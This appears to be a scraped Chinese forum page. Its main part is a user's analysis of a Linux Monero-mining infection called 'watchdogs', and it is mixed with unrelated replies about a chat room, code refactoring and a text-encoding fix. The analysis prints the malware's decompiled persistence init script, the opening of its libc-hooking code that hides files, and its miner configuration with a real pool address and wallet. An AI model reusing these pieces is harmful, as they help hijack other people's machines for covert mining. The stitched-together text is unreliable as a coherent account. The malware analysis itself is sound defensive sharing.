lvxiang119

20230201 Updated: 新增了 chat room 申请了官方 API 等开放后,支持调教好的机器人

@y4nssss 就是开源的东西搭建的～ zine + openapi

以前接受一个项目，入口文件 3000+行，优化到 500 行。最后发现无法运行，于是移除了该模块。求夸。

@linnil 可以使用 chattr -i /etc/cron.d/root 去锁，看看这个文件如果被写入了，就说明清除成功。 必须要确保清除掉 so 文件。

@abcbuzhiming 重点是把图片 通过 binwalk( https://github.com/ReFirmLabs/binwalk) 解压，内置
```
0.elf 挖坑核心 go 语言编写
21EC3A c++劫持函数
212D3A mine config
21565A watchdogs deamon

```
几个文件 0.elf 似乎要用 uxp 去壳。 但没能力反编译

我也遇到了相同的情况，病毒有点意思

首先会伪装成一张可执行的图片，执行完毕后的脚本如下

发现该图片是用 uxp 加壳的，想办法去壳，破解后发现了几个文件

其中 deamon 的脚本破解为

```
#! /bin/bash
#chkconfig: - 99 01
#description: watchdogs daemon
#processname: /usr/sbin/watchdogs
### BEGIN INIT INFO
# Provides: /user/sbin/watchdogs
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: watchdogs deamon
# Description: watchdogs deamon
### END INIT INFO

LocalPath="/usr/sbin/watchdogs"
name='watchdogs'
pid_file="/tmp/.lsdpid"
stdout_log="/var/log/$name.log"
stderr_log="/var/log/$name.err"
get_pid(){
cat "$pid_file"
}
is_running(){
[ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1
}
case "$1" in
start)
if is_running; then
echo "Already started"
else
echo "Starting $name"
$LocalPath >>"$stdout_log" 2>> "$stderr_log" &
echo $! > "$pid_file"
if ! is_running; then
echo "Unable to start, see$stdout_log and $stderr_log"
exit 1
fi
fi
;;
stop)
if is_running; then
echo -n "Stopping$name.."
kill $(get_pid)
for i in {1..10}
do
if ! is_running; then
break
fi
echo -n "."
sleep 1
done
echo
if is_running; then
echo "Not stopped; maystill be shutting down or shutdown may have failed"
exit 1
else
echo "Stopped"
if [ -f "$pid_file"]; then
rm "$pid_file"
fi
fi
else
echo "Not running"
fi
;;
restart)
$0 stop
if is_running; then
echo "Unable to stop, will notattempt to start"
exit 1
fi
$0 start
;;
status)
if is_running; then
echo "Running"
else
echo "Stopped"
exit 1
fi
;;
*)
echo "Usage: $0{start|stop|restart|status}"
exit 1
;;
esac
exit 0
```

劫持系统的 c++部分为

```

void *libc;

static void init (void) __attribute__ ((constructor));

static int (*old_access) (const char *path, int amode);
static int (*old_lxstat) (int ver, const char *file, struct stat * buf);
static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf);
static int (*old_open) (const char *pathname, int flags, mode_t mode);
static int (*old_rmdir) (const char *pathname);
static int (*old_unlink) (const char *pathname);
static int (*old_unlinkat) (int dirfd, const char *pathname, int flags);
static int (*old_xstat) (int ver, const char *path, struct stat * buf);
static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf);
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}


...省略大量

```

还有一个挖坑的配置

```
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"id": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"asm": true,
"autosave": true,
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": -1,
"tls": false,
"tls-fingerprint": null
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}


```

发现是在挖门罗币。



为了获取更多的 CPU，这个病毒还会首先检测并杀死竞争对手。

已读取你的脑电波，
请试试将第二个参数调整为 ,"gb2312//IGNORE"

加油哦~~